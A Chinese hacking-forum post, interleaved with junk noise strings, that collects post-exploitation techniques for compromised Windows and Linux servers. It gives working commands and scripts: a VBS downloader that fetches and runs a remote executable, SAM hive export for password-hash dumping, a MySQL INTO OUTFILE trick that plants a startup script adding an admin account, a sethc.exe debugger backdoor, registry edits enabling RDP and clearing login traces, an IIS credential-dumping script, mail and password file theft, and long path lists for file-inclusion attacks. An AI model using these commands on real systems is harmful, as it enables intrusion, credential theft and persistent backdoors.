关于tar的打包方式,linux不以扩展名来决定文件类型。
7 Y; w/ q+ y  ]2 _. m+ j若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
2 o& x5 }: [# `2 ?4 {( k0 a那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
* }6 i3 Y# y% a0 W" c) h# N——————————————
& c* f& \" g( t% r3 E/ [; ?2、收集系统信息的脚本  
for window：
6 C( f: @. j9 m* P0 O7 z
@echo off
- T% X( A* n# B8 L' a8 Pecho #########system info collection
2 H+ D! z" @6 w) L. `, csysteminfo
) d8 M" I2 [2 z6 Vver
! z$ b: f8 W7 b* y5 b% A1 `hostname
net user
! L' m& X0 L6 ]! T; ]+ J% |$ f0 Cnet localgroup
net localgroup administrators
net user guest
+ \7 ~* }. k; J! q7 bnet user administrator
6 u5 d8 A& R$ z( o7 A5 m: L
echo #######at- with   atq#####
echo schtask /query
2 j/ s4 R3 ?% P0 B
echo
echo ####task-list#############
5 v- o2 d. C1 u8 gtasklist /svc
& y6 A: L! ~- z& Z) h1 K' Yecho
echo ####net-work infomation
ipconfig/all
  u8 A5 |) e3 ~2 W8 f! M1 v" ~route print
0 N7 @8 i+ {1 S; s* Farp -a
% Y$ y, G1 q  J( Y4 N  x  Z6 inetstat -anipconfig /displaydns
echo
7 x, Q- V, L) l6 l7 ~  w  `echo #######service############
& Q$ [+ A2 _, a6 ~# Asc query type= service state= all
  P' n% F+ v) L7 j: g; u9 ^$ q- Uecho #######file-##############
cd \
9 m9 m+ C3 k7 Z% K" r8 r7 M/ ~tree -F
for linux：

/ U6 O1 `1 I3 b; [2 f! X#!/bin/bash

6 l! S* N2 X/ p! g3 Decho #######geting sysinfo####
* e. g1 ?% ~* W9 qecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
) \9 R; y2 X2 N- ~4 \$ j; {; z) Iecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
' }0 J3 F1 ?7 n; l; q1 r0 b( xecho
5 B! o. o: ^5 ^( m0 |rpm -qa 2>/dev/null
% i( B/ D# h" B( _0 V######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
. l) a. x* X4 p3 G! D+ l
& u( I/ A$ c. ^8 r' J9 A
/ }, z2 p! U, W. N! k% aecho 'u'r id is' `id`
; \9 F7 j+ U# F  |' P: J/ L7 aecho ###atq&crontab#####
8 n* e7 v9 w+ p/ m8 D+ jatq
0 G2 P; M, ]5 Q) u6 @) O2 `2 }0 ^crontab -l
; b/ O+ x, O2 q3 M7 R" z8 ^% Recho #####about var#####
set
5 b4 B/ i5 F: A" Q
echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
# p  c% U- x' ycat /etc/hosts
hostname
4 Z$ a/ a; Q9 tipconfig -a
arp -v
echo ########user####
0 W" d3 n/ D+ \# g$ \' o; rcat /etc/passwd|grep -i sh

$ X8 Z- L1 W6 M$ O: Wecho ######service####
8 Z2 ?# ^5 D0 e/ B. R, zchkconfig --list
: k' c: X. A7 \6 O* u8 x* |! W
6 g! W# p! T6 M8 v4 H/ Wfor i in {oracle,mysql,tomcat,samba,apache,ftp}
9 x/ b& x' V- I3 tcat /etc/passwd|grep -i $i
- r! N% N/ Y  f! C, ^* Sdone

$ j' `: s" T. Y7 r: mlocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
locate conf >/tmp/sysconfig 2>dev/null
- Z& J8 E4 ^+ H" _2 j5 l  n4 esleep 5
! F- }5 T! m7 f3 h" r, b  Q9 Elocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
# K6 l9 v. w- D' t+ M/ X
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
, ~3 D9 |( P7 v/ U% m$ Y——————————————
6 q  D( B( O9 D& m' t! X+ t3、ethash 不免杀怎么获取本机hash。
0 o& P" X% @& A' D首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
! q# j& m# \! W; J1 U- _# o4 K注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
9 V4 V! A* p. O' W——————————————
! J; ]" G  q; G7 O( S4、vbs 下载者
$ v. Y$ B. P/ V" S, \; Y3 F, w1
5 C' m/ v, i! F8 Aecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
  [8 ~4 l0 m4 r3 Necho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
2 Y  }, G+ {2 J% _- becho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
1 t2 [! @9 j4 ]7 Z- ^6 Eecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
, e6 y$ z9 _7 k1 j8 C% G. Icftmon.vbs

/ L. e3 I2 d4 O+ p( f2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
" E& f1 e. J" j; xSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
# I5 {- k  R1 h. B——————————————————
5、
1.查询终端端口
; W) M& [/ C5 |  E. pREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
- y0 r6 c1 {- a* ~1 v/ Q2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
$ u" |8 \3 c& B1 j3.更改终端端口为2008(0x7d8)
& w3 [0 |+ U" g. UREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
. v9 y8 l% K7 W. l0 N) U2 Q4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
/ u" |7 }/ N% X/ }8 d+ K5 c————————————————
6、create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
4 d3 s/ ]" x8 G1 Xinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
& L8 ^4 u" V+ _$ n9 R5 J# e————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
6 @& N1 s3 G& C- E_____
8、for /d %i in (d:\freehost\*) do @echo %i
  F4 c0 D* k* K: `! K, Q
列出d的所有目录
  
  for /d %i in (???) do @echo %i

+ [+ w6 `) c+ X6 n把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

3.for /f %i in (c:\1.txt) do echo %i
+ t' k+ B! z" y  
) M, s; J# t1 s+ E2 \7 L8 r0 v  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
  C- u' D& A& P  z$ ?8 v/ Q
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

  delims=后的空格是分隔符 tokens是取第几个位置
8 p9 ~! K  Q( s) Q+ v——————————
% i& q( Y8 @  [●注册表:
1.Administrator注册表备份:
' F+ m' V! {) W" @0 ~% t9 w% Hreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

" ^0 h  v  {& P+ n- O% ?1 R2.修改3389的默认端口:
5 K8 z6 o1 Y$ I5 n' n% ~HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
" q% W) L" O% ]修改PortNumber.

3.清除3389登录记录:
' A" \& U$ D9 C7 e- j" h( a' r0 c- Hreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
4 k1 U- H6 [: f) v! }; _
8 G8 g& L8 G% \# Y4.Radmin密码:
$ J+ @: r, ]2 @9 }' H& Y4 R3 treg export HKLM\SYSTEM\RAdmin c:\a.reg
4 u7 z+ k7 d: X/ n+ Q
5.禁用TCP/IP端口筛选(需重启):
* v) i+ u% t5 Z9 n4 I& DREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
# |. [- z1 x' @0 G, Q7 o" O, hnetsh ipsec dynamic set config ipsecexempt value=0

6 h* t4 R. y$ J! _7.停止指派策略"myipsec":
; _, b+ [! h- c/ Dnetsh ipsec static set policy name="myipsec" assign=n
& c/ |1 H  c7 z
/ V' q$ m# k* V$ ^1 Q9 d0 d; R8.系统口令恢复LM加密:
: m; `7 u; P7 b, Jreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
" S8 j" \, }' \$ n
( U& |0 q# C9 a1 |; q/ {9.另类方法抓系统密码HASH
9 i+ H+ L4 x0 B( k7 \8 g+ W$ [reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

* t8 J1 {, F) z. y8 x# o10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

4 e$ m* h! ~' F. D# d, g( i' i3 areg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
2 Y4 [" H6 q) f星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
2 y; z% m* {  O9 y9 Y0 ychildObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
/ R2 p7 ^" u6 k! pset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
- ]: S, B) [( N5 \% D; ^$ Q, aend if
& t4 k: n$ j+ T0 Iserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
  e) ]! i5 Z1 H% I( j/ ?7 \9 H4 Apath=IIsWeb.path
2 D- ]2 ?  j# Z' w: y5 _list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
, C0 n7 [) A7 M* Yend if
1 [, n" M8 w, T9 A7 vNext
6 ?! ~5 T9 S2 M5 ~wscript.echo list
3 m8 P& A- x  g  v7 N( L/ i+ p6 l' TSet ObjService=Nothing
" i' E) b! r1 r# `" `5 q! ~! Bwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
/ z9 a* c& U' u3 u, w$ z1 U. q1 z复制代码
; {+ C! n6 W0 ], `  T& E$ }----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
- s4 W& I5 W) v- m+ m/ l</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
3 ~9 h9 L7 x3 xPS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
/ b3 `' b- B3 G" m# i, t5 q 原因是ASP大马里有这样的代码：（没有就没事儿了）
! H( f9 c+ k$ u url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
. P; K2 K/ Q$ p6 q7 a! {% l" V+ v 解决方法
* q$ _7 _/ V0 {: p0 H* Y, C url=request.severvariables("path_info")
3 o9 C  `4 `; O2 U0 ?2 O* a2 k) f path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
7 D  |; y: {& aLINUX常见路径：

/etc/passwd
% R9 c4 I1 X3 D3 K# ?  r  P( O/etc/shadow
/etc/fstab
/etc/host.conf
! N# x& u% B' Q+ F+ C/etc/motd
0 v# y; c/ B* c/ x/ D/etc/ld.so.conf
* P. K! Q3 ]' _3 S" w! q! ]/var/www/htdocs/index.php
/var/www/conf/httpd.conf
; N# Z1 `% A4 J! H' @  [  D/var/www/htdocs/index.html
; _0 V# O4 p0 b. J/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
7 p9 x( {8 ?- J' L3 {2 H  I/var/httpd/conf/php.ini
/ h  [3 H) j  I. Y/var/www/index.html
5 u3 g% K9 g3 @% f/var/www/index.php
( A; D- z3 D4 ~+ N; C9 N# M* s5 r/opt/www/conf/httpd.conf
& v; q1 d# d' ?2 S  f/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
* S  q9 g1 e3 u3 |0 o; X/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
' J& K" ^' g3 W& I4 L, {2 I/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
" ]: q, `+ k8 u& K) V, N/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
8 g9 h8 f" l5 B( r% u. U2 S/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
: ]3 ~3 }; }) _& T2 j+ s) b! Q/www/conf/httpd.conf
# j) e: [+ K/ v* V2 d& P/www/htdocs/index.php
- C+ `% l7 M: h, i! f3 k6 Q* s5 S/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
$ F( ~7 H2 _/ Y3 l2 z/etc/apache/apache.conf
; X+ c1 }$ ], O2 h0 L# |/etc/apache2/apache.conf
, F( \# j, }( t9 P/ R* X/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
- y. ~& x' g' n6 r4 S8 s/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
- L0 s/ H0 B+ f7 c9 @# C/etc/httpd/conf.d/php.conf
- C! o1 }2 f4 g% G5 d/ m5 U/etc/httpd/conf.d/httpd.conf
. ?. [& k2 s1 U1 }4 ^/etc/httpd/logs/error_log
( I, d, E' `+ q- a& a- T# E/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
( x7 h+ r1 K0 [' j+ @/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
0 T! |: I- _: J0 g/var/log/apache/error.log
; Q8 j2 v" g' l8 q( g9 I/var/log/apache/access_log
/var/log/apache/access.log
3 F" p7 y/ W0 l$ x6 G/var/log/apache2/error_log
: p3 Z$ u7 ]$ b/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
: w( k' ^( S$ }5 {/var/www/logs/error_log
# U# v" R1 o* U/var/www/logs/error.log
% }# M/ [2 I" L' ~/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
& b' c  C$ [0 n' \6 K/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
  U$ d* n1 T( N+ r1 N/var/log/error_log
/var/log/error.log
, _9 I1 g/ C) F5 n/var/log/access_log
/var/log/access.log
" u6 ^4 g. h& `7 v/ W) T8 U5 |/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
/bin/php.ini
3 S0 I4 S& |0 x+ j% \+ m/ r/etc/init.d/httpd
  d% N0 y) ^! f/ ~: P/etc/init.d/mysql
2 n/ C4 }: L# A+ t7 N1 y/etc/httpd/php.ini
5 ]/ H5 D" J* o: [+ m7 y! u% C% b) T/usr/lib/php.ini
8 p9 x( Q. i! D5 ]% V- l7 I/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
3 }8 v9 c& V$ X& l3 ?/usr/local/php/lib/php.ini
! g+ n/ W5 t2 K8 }) U# y" _3 d- C/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
( Z" m% }2 D  ~  `* w- t/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
  @" A- Q8 M7 u; Y) G/usr/local/php5/php5.ini
1 D! a) W$ [/ P0 L/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
  a* a! d& Y/ e/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
' _+ |% H* q' e* m- Y1 d8 l/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
! V+ [* s3 M  K0 i/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
, J8 h! c4 _, q/etc/php5/apache2/php.ini
# w4 @+ ~- @* K1 k( _: g. D! }/etc/php/php.ini
( ~: I' D2 F8 g' @# m5 s/etc/php/php4/php.ini
# S' L5 S8 F3 L) Y, T6 F; {. I/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
) U2 y8 q+ }9 W* e3 X" x. J/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
: k, f: Q# w. h$ S0 C/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
. R5 s5 g3 I& w) p- \/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
8 X- i1 V/ u5 k, |8 v/xampp/apache/conf/httpd.conf
/ j3 D8 O6 o. w+ w$ @/NetServer/bin/stable/apache/php.ini
8 H$ H, D# W1 _9 y/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
  W2 l' s: C9 I2 n! N/var/log/mysql.log
/var/log/mysqlderror.log
. d3 B0 \. G; E( w/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
6 M. k( R$ Z+ j8 d/var/mysql.log
# m9 l  b- ^& ]  ~6 ~5 Q/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
, p; z! u; k3 I% {  I6 `/usr/local/mysql/bin/mysql
& b. b5 r2 t$ C/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
6 b3 z0 d6 H% w$ A; z/usr/local/cpanel/logs/access_log
/ E2 W, N) D) t6 U/usr/local/cpanel/logs/error_log
) s& D6 g% G- }1 f/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
* p- A1 D8 y! h+ A: _2 k/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
0 A& g/ ]! _  {( |5 Z* e( z
; `9 k4 k$ u! n0 J/ N" l" `/ Q2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

. k) w, J5 `( Jc:\windows\php.ini
c:\boot.ini
4 u4 Y* m* X0 l+ Ac:\1.txt
1 k: j1 N! M0 |) }c:\a.txt

c:\CMailServer\config.ini
, H4 B% l: `, bc:\CMailServer\CMailServer.exe
( R( f' o7 a, ?c:\CMailServer\WebMail\index.asp
- S9 ^. Q' k5 }c:\program files\CMailServer\CMailServer.exe
6 A9 S5 k7 z$ B+ Nc:\program files\CMailServer\WebMail\index.asp
7 E* |- d; h' n$ M& p/ L7 VC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
; j3 S; P: w( _/ q. h# t7 vC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
; P* D' K" f6 |C:\WINDOWS\7i24tool.exe
% w2 q/ t( h8 J# y6 y2 I' f
5 I% V/ ]' y4 c: b! Oc:\hzhost\databases\url.asp

: Z0 d. L0 U" Zc:\hzhost\hzclient.exe
3 P) B" [2 x$ n$ m* rC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
7 w% m+ y0 T8 l2 B5 O
; h2 h- p  ]4 t9 z- o0 BC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
3 c% f, I/ H" y% ^: b& O+ ^C:\WINDOWS\web.config
c:\web\index.html
8 |$ @* w: a# u; l& Ec:\www\index.html
* j" s+ s$ x% d5 w' ]c:\WWWROOT\index.html
$ L1 S; O; @; X- l0 U8 @9 E) C8 \c:\website\index.html
c:\web\index.asp
0 h# E9 a+ c9 H& @& _$ F7 fc:\www\index.asp
# N( b$ t2 b  z) e# B  I1 P" ec:\wwwsite\index.asp
) L) n+ a3 t& E' `9 S( |c:\WWWROOT\index.asp
c:\web\index.php
; D% k- b, H8 U7 L0 o  e0 xc:\www\index.php
( K- ?- w! M) n6 A/ b+ q# qc:\WWWROOT\index.php
c:\WWWsite\index.php
: o- S0 }! o+ `c:\web\default.html
+ `/ I' D' |+ T5 j% O3 y( xc:\www\default.html
c:\WWWROOT\default.html
6 i0 l& v) F6 L5 y/ Tc:\website\default.html
c:\web\default.asp
" \2 x- `+ D; p) ]1 b- `c:\www\default.asp
c:\wwwsite\default.asp
0 ?6 y  d( ~& gc:\WWWROOT\default.asp
7 w  @8 K  C- T' \: S. ec:\web\default.php
c:\www\default.php
: H& d3 g5 N2 ^8 @c:\WWWROOT\default.php
. \; Z( O- M, R9 cc:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
c:\windows\notepad.exe
  g/ I# B5 y  D% X4 |1 t, Nc:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
C:\Program Files\Microsoft Office\OFFICE11\winword.exe
* G! a" V" H' rC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
: |$ o2 H/ s2 K; M( nC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
- X3 l/ }% a1 z7 H5 d# o$ G4 y( V% uc:\ravbin\store.ini
c:\rising.ini
C:\Program Files\Rising\Rav\RsTask.xml
# R  Z( N# p# [3 y& J3 b6 GC:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
& T: L5 h# m2 {5 D5 JC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
1 z; d7 S$ J/ k3 g. L7 PC:\Documents and Settings\Administrator\My Documents\1.txt
  W* r9 \! Q) D. w( C; P. Y/ EC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
* S) F5 P- u& BE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
C:\Program Files\Symantec\SYMEVENT.INF
- o; ^" v4 Z4 F/ y+ z: c5 Y) X: |C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
! m) ]' S: s: R  _2 EC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
' @: q3 `5 {; U: z  rC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
3 p" A6 f; Q! [6 JC:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
$ `+ j- {4 f! ?7 U- T/ o  oC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
( x8 A# d6 ^- v- t. E8 n0 p* yC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
5 `6 I  I% }7 W6 B% ^C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
  k4 v* _8 K, l2 ?: Oc:\MySQL\MySQL Server 4.1\bin\mysql.exe
4 ^  C! H4 _1 _+ C9 W9 sc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
3 \" R% l1 G- kC:\Program Files\Oracle\oraconfig\Lpk.dll
8 z5 g; S+ v' }# T" ZC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
1 e# t$ t* H! B+ E2 ]/ sC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
' I! U. v% ]- d6 mC:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
4 T1 r6 s8 w: w/ U$ RC:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
# w+ O9 R0 |. kc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
/ v7 w" ?& O! jc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
9 m, X2 G' @+ W# ^$ m. Q" _c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
8 T4 d5 a1 R! O/ B% R8 c( |; ]) wc:\Apache2\Apache2\bin\Apache.exe
7 n4 J) S  }' g! Z: k2 zc:\Apache2\bin\Apache.exe
6 k- i. ^7 U* Kc:\Apache2\php\license.txt
C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
# s1 ~5 `! w0 ?* P9 I1 B/usr/tomcat6/bin/startup.sh
" J- K( M* y! w! j) T# Tc:\Program Files\QQ2007\qq.exe
) h* N; t8 C% I( b8 Tc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
! d* j5 B, O2 \$ m! k8 s, r+ \; vc:\Program Files\Tencent\qq2009\qq.exe
! M. ~" X% }/ ^3 Z7 @# G) e  nc:\Program Files\Tencent\qq2008\qq.exe
. W0 T" j: w' N; sc:\Program Files\Tencent\qq2010\bin\qq.exe
2 ^9 P+ P( M; b/ u% I; ac:\Program Files\Tencent\qq\Users\All Users\Registry.db
C:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
3 _! B& o  Q  uc:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
